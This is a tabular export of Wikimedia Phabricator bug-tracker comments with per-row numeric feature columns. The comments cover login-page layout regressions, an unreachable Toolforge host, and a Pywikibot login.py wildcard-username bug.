525745,Regression: Login form below fold under login prompt on Wiktionary login page,Will sign this off next sprint when I see it in production.,,,1442016067,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-n7qxvs2vpqzmtlhmmgrx,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6923076923076925,1.0,Will sign this off next sprint when I see it in production.
523597,Regression: Login form below fold under login prompt on Wiktionary login page,"Change 237123 merged by jenkins-bot:
Hide loginform and language links on the login page

[[https://gerrit.wikimedia.org/r/237123]]",,,1441819573,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n7qxvs2vpqzmtlhmmgrx,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.8333333333333335,0.9166666666666666,"Change 237123 merged by jenkins-bot:
Hide loginform and language links on the login page

[[GERRIT_URL]]"
523587,Regression: Login form below fold under login prompt on Wiktionary login page,"(Special:MergeAccount is a CentralAuth thing, fwiw.)",,,1441818856,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-n7qxvs2vpqzmtlhmmgrx,task_subcomment,,True,c3,3,True,,,9,True,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,25.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.9166666666666665,1.0,"(Special:MergeAccount is a CentralAuth thing, fwiw.)"
523584,Regression: Login form below fold under login prompt on Wiktionary login page,Thanks for the clarification @Legoktm the link to Special:MergeAccount  threw me.,,,1441818787,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-n7qxvs2vpqzmtlhmmgrx,task_subcomment,,True,c3,3,True,,,9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,21.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,14.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,5.285714285714286,0.9285714285714286,Thanks for the clarificationSCREEN_NAME the link to Special:MergeAccount  threw me.
523578,Regression: Login form below fold under login prompt on Wiktionary login page,"Nothing, this is a local message override. https://en.wiktionary.org/wiki/MediaWiki:Loginprompt",,,1441818687,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-n7qxvs2vpqzmtlhmmgrx,task_subcomment,,True,c3,3,True,,,9,True,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.9,1.0,"Nothing, this is a local message override. URL"
523577,Regression: Login form below fold under login prompt on Wiktionary login page,What does this have to do with the UserMerge extension...?,,,1441818609,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-n7qxvs2vpqzmtlhmmgrx,task_subcomment,,True,c3,3,True,,,9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.083333333333333,1.0,What does this have to do with the UserMerge extension...?
523521,Regression: Login form below fold under login prompt on Wiktionary login page,"Change 237123 had a related patch set uploaded (by Bmansurov):
Hide loginform and language links on the login page

[[https://gerrit.wikimedia.org/r/237123]]
",,,1441815060,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n7qxvs2vpqzmtlhmmgrx,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.9310344827586206,0.896551724137931,"Change 237123 had a related patch set uploaded (by Bmansurov):
Hide loginform and language links on the login page

[[GERRIT_URL]]
"
522545,Regression: Login form below fold under login prompt on Wiktionary login page,Just hide it for time being as this is a regression and it wasn't there before.,,,1441718292,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-n7qxvs2vpqzmtlhmmgrx,task_subcomment,,True,c3,3,True,,,9,True,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,6.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.5555555555555554,0.9444444444444444,Just hide it for time being as this is a regression and it wasn't there before.
522508,Regression: Login form below fold under login prompt on Wiktionary login page,@KHammerstein what's your take on this? Should we hide the text or move it below the login form or something else?,,,1441709989,,PHID-USER-grftjc3ekkyjf6bwlsqi,False,,,PHID-TASK-n7qxvs2vpqzmtlhmmgrx,task_subcomment,,True,c3,3,False,,,9,True,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,8.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,12.0,8.0,0.0,8.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,3.8333333333333335,0.875,SCREEN_NAME what's your take on this? Should we hide the text or move it below the login form or something else?
110783,tools-webgrid-lighttpd-1411 unreachable and can't get password entries,"Jobs that happen to be deployed on this host fail with:

```
Job 416426 caused action: Job 416426 set to ERROR
 User        = tools.veblenbot
 Queue       = webgrid-lighttpd@tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs
 Start Time  = <unknown>
 End Time    = <unknown>
failed assumedly before job:can't get password entry for user ""tools.veblenbot"". Either the user does not exist or NIS error!
```

I can't `ssh` to that host either:

```
[tim@passepartout ~]$ ssh tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs
Permission denied (publickey,hostbased).
[tim@passepartout ~]$
```

(which makes sense in view of the ""can't get password entries"" error above).  I have disabled the queue `webgrid-lighttpd@tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs`.",High,80.0,1440821566,1441145008.0,PHID-USER-vk6mlmacfhx77egryy5i,False,PHID-USER-vk6mlmacfhx77egryy5i,False,PHID-TASK-noojfb5i6kiyax6zbox7,task_description,resolved,True,c3,3,True,True,True,8,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,7.833333333333333,0.8888888888888888,"Jobs that happen to be deployed on this host fail with:

``CODE`CODEsshCODE`CODE`CODEwebgrid-lighttpd@tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs`."
518830,tools-webgrid-lighttpd-1411 unreachable and can't get password entries,"I have rebooted the instance via https://horizon.wikimedia.org/project/instances/, `ssh` worked fine afterwards, so I re-enabled the queue `webgrid-lighttpd@tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs` (`qmod -e`).",,,1441145008,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-noojfb5i6kiyax6zbox7,task_subcomment,,True,c3,3,True,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,25.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,17.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.625,0.8333333333333334,"I have rebooted the instance via URL CODE worked fine afterwards, so I re-enabled the queue CODE (CODE)."
110411,login.py doesnt recognise * in config.usernames,"With an entry like follows in `user-config.py`
```
usernames['wikipedia']['*'] = 'JVbot-test'
```

`login.py` emits a error

```
$ python pwb.py login -all
Logged in on wikipedia:test as JVbot-test.
*.wikipedia is not a valid site, please remove it from your config
```",High,80.0,1440627051,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-xxhid5r4jxhawqqzajzb,task_description,progress,True,c3,3,True,False,,7,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,23.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.538461538461538,0.7692307692307693,"With an entry like follows in CODE
``CODE`CODElogin.pyCODE`CODE``"
2490111,login.py doesnt recognise * in config.usernames,"Change #1112370 had a related patch set uploaded (by Xqt; author: Xqt):
%%%[pywikibot/core@master] login.py: Recognise * in config.usernames%%%
https://gerrit.wikimedia.org/r/1112370",,,1737283568,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xxhid5r4jxhawqqzajzb,task_subcomment,,True,c3,3,False,,,498,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,9.0,6.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,4.0588235294117645,0.8529411764705882,"Change #1112370 had a related patch set uploaded (by Xqt; author: Xqt):
%%%[pywikibot/core@master] login.py: Recognise * in config.usernames%%%
GERRIT_URL"
845352,login.py doesnt recognise * in config.usernames,It can really be practical.,,,1492644342,,PHID-USER-aswxykknolbbycawydkz,False,,,PHID-TASK-xxhid5r4jxhawqqzajzb,task_subcomment,,True,c3,3,True,,,93,True,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,1.0,It can really be practical.
815603,login.py doesnt recognise * in config.usernames,"Change 339806 abandoned by Dalba:
login.py: Recognise * in config.usernames

Reason:
May take a long time to login to all sites. Maybe we can take advantage of CentralAuth. Needs further investigation.

[[https://gerrit.wikimedia.org/r/339806]]",,,1487996244,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xxhid5r4jxhawqqzajzb,task_subcomment,,True,c3,3,False,,,86,True,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,2.0,11.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,4.130434782608695,0.782608695652174,"Change 339806 abandoned by Dalba:
login.py: Recognise * in config.usernames

Reason:
May take a long time to login to all sites. Maybe we can take advantage of CentralAuth. Needs further investigation.

[[GERRIT_URL]]"
815594,login.py doesnt recognise * in config.usernames,"Change 339806 had a related patch set uploaded (by Dalba):
login.py: Recognise * in config.usernames

[[https://gerrit.wikimedia.org/r/339806]]
",,,1487990836,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xxhid5r4jxhawqqzajzb,task_subcomment,,True,c3,3,False,,,86,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.0,0.8846153846153846,"Change 339806 had a related patch set uploaded (by Dalba):
login.py: Recognise * in config.usernames

[[GERRIT_URL]]
"
815573,login.py doesnt recognise * in config.usernames,"Currently I get:

```
$ python pwb.py login -all
*.wikipedia is not a valid site, please remove it from your config
Traceback (most recent call last):
  File ""pwb.py"", line 263, in <module>
    if not main():
  File ""pwb.py"", line 257, in main
    run_python_file(filename, [filename] + args, argvu, file_package)
  File ""pwb.py"", line 121, in run_python_file
    main_mod.__dict__)
  File "".\scripts\login.py"", line 193, in <module>
    main()
  File "".\scripts\login.py"", line 166, in main
    for familyName in namedict:
RuntimeError: dictionary changed size during iteration
<class 'RuntimeError'>
CRITICAL: Closing network session.
```
",,,1487985522,,PHID-USER-6kchhu3kcxl7qwdhhfpd,False,,,PHID-TASK-xxhid5r4jxhawqqzajzb,task_subcomment,,True,c3,3,False,,,86,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.272727272727273,0.7272727272727273,"Currently I get:

``CODE``
"
110403,Huge langlinks list on top of mobile login page,"Have a look on this wonderful login page for dewiki:
{F2399139}

It's alpha and beta only (where we have core login page) on an emulated Nexus 5. That looks terrible and the languagelinks should be hidden for now (and maybe replaced with a nicer language selection, maybe a dropdown?

The list is created here:
https://github.com/wikimedia/mediawiki/blob/d1fb1a2d0e1878aac70b3767c58ef6b3a1aa065f/includes/specials/SpecialUserlogin.php#L1649-L1666

And is a simply mediawiki message key and needs to be enabled with $wgLoginLanguageSelector (for local testing e.g.).",High,80.0,1440624132,1474380309.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-mijmww37akmm2x4ijgrp,task_description,resolved,True,c3,3,True,False,False,7,True,0.0,0.0,0.0,3.0,0.0,9.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,9.0,9.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,9.0,1.0,5.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,2.0,9.0,3.0,1.0,0.0,0.0,2.0,0.0,1.0,5.0,0.0,0.0,1.0,0.0,0.0,3.935483870967742,0.7526881720430108,"Have a look on this wonderful login page for dewiki:
{F2399139}

It's alpha and beta only (where we have core login page) on an emulated Nexus 5. That looks terrible and the languagelinks should be hidden for now (and maybe replaced with a nicer language selection, maybe a dropdown?

The list is created here:
URL

And is a simply mediawiki message key and needs to be enabled with $wgLoginLanguageSelector (for local testing e.g.)."
731620,Huge langlinks list on top of mobile login page,"We hid them... this is why it's not there.
I've created T146151 rather than repurpose the bug to make that clearer.
",,,1474382658,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-mijmww37akmm2x4ijgrp,task_subcomment,,True,c3,3,True,,,63,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,14.0,7.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,11.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,3.4642857142857144,0.9285714285714286,"We hid them... this is why it's not there.
I've created T146151 rather than repurpose the bug to make that clearer.
"
731598,Huge langlinks list on top of mobile login page,"Being logged out and going to https://de.m.wikipedia.org/w/index.php?title=Spezial:Anmelden I cannot reproduce this anymore. No section of languages is displayed on top.

Closing as resolved; please reopen if this is still a problem.",,,1474380309,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mijmww37akmm2x4ijgrp,task_subcomment,,True,c3,3,True,,,63,True,0.0,0.0,0.0,5.0,3.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,14.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.945945945945946,0.8918918918918919,"Being logged out and going to URL I cannot reproduce this anymore. No section of languages is displayed on top.

Closing as resolved; please reopen if this is still a problem."
568723,Huge langlinks list on top of mobile login page,I'm not working on this.,,,1448482465,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-mijmww37akmm2x4ijgrp,task_subcomment,,True,c3,3,True,,,20,True,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,2.857142857142857,1.0,I'm not working on this.
519457,Huge langlinks list on top of mobile login page,"Change 234163 abandoned by Florianschmidtwelzow:
WIP: Convert UserLogin language links into a dropdown select list

Reason:
It's still in gerrit, but I actually don't work on it, until there is some consensus in the task :)

[[https://gerrit.wikimedia.org/r/234163]]",,,1441214638,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mijmww37akmm2x4ijgrp,task_subcomment,,True,c3,3,False,,,8,True,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,2.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,17.0,0.0,2.0,6.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,6.0,12.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,3.980769230769231,0.8461538461538461,"Change 234163 abandoned by Florianschmidtwelzow:
WIP: Convert UserLogin language links into a dropdown select list

Reason:
It's still in gerrit, but I actually don't work on it, until there is some consensus in the task :)

[[GERRIT_URL]]"
516099,Huge langlinks list on top of mobile login page,"I removed the #Patch-for-Review project, because there is no change anymore to review. But the real underlying problem (having a bad formatted huge list of languages) still isn't resolved, so keeping this task open :)",,,1440701872,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-mijmww37akmm2x4ijgrp,task_subcomment,,True,c3,3,True,,,8,True,0.0,0.0,0.0,2.0,2.0,11.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,9.0,9.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,9.0,2.0,2.0,11.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,9.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,3.9782608695652173,0.9130434782608695,"I removed the #Patch-for-Review project, because there is no change anymore to review. But the real underlying problem (having a bad formatted huge list of languages) still isn't resolved, so keeping this task open :)"
516076,Huge langlinks list on top of mobile login page,"Change 234149 merged by jenkins-bot:
Hide languagelinks list on alpha/beta login page

